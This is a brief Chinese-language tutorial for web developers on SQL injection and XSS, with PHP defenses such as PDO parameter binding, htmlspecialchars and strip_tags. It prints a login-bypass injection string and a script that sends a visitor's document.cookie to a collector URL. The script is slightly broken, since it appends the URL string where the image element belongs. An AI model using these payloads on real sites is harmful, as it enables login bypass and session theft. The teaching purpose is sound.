1,关于sql注入
用户提交登录信息的时候可以用 password ' or 1 # 这样原来sql拼接语句就成了 select * from table where username=xxx and password ='password' or 1#' 这样就登陆用户得到了登录信息了。完成了一次sql注入
解决方式
第一:用addslashes 把提交的字符 转义一下特殊字符
第二:用pdo参数绑定的形式
$dbh = new PDO("mysql:dbname=la;host=127.0.0.1","root",""); $sth = $dbh->prepare("select * from users where username=:username"); $sth->execute(array('username'=>$username)); $result = $sth->fetchAll();
第三: 验证数据的正确性了,比如限制字符数量,规定数据类型
2,xss攻击
这种攻击场景一般就是在评论的时候会提交一些script代码 ,如果没有过滤 。那么危险性比较大,比如写一段
<script>
var url = "http://localhost//toucookie.php?cookie=" + document.cookie;
var img = document.createElement("img");
img.src = url;
document.appendChild(url);
</script>
这一段 当其他的用户点击这个图片的时候,就会自动发送他在这个网站的cookie信息给攻击者,攻击者有了cookie信息,就可以很多事情了,比如获取用户的信息,有可能能直接登录到用户的后台。
解决方式
1,在做评论这种提交数据的时候 用htmlspecialchars 把html的一些东西转换为实体。
2,可以用strip_tags
去除掉html标签
3,过滤掉一些scipt标签等 ,需要看具体的业务需求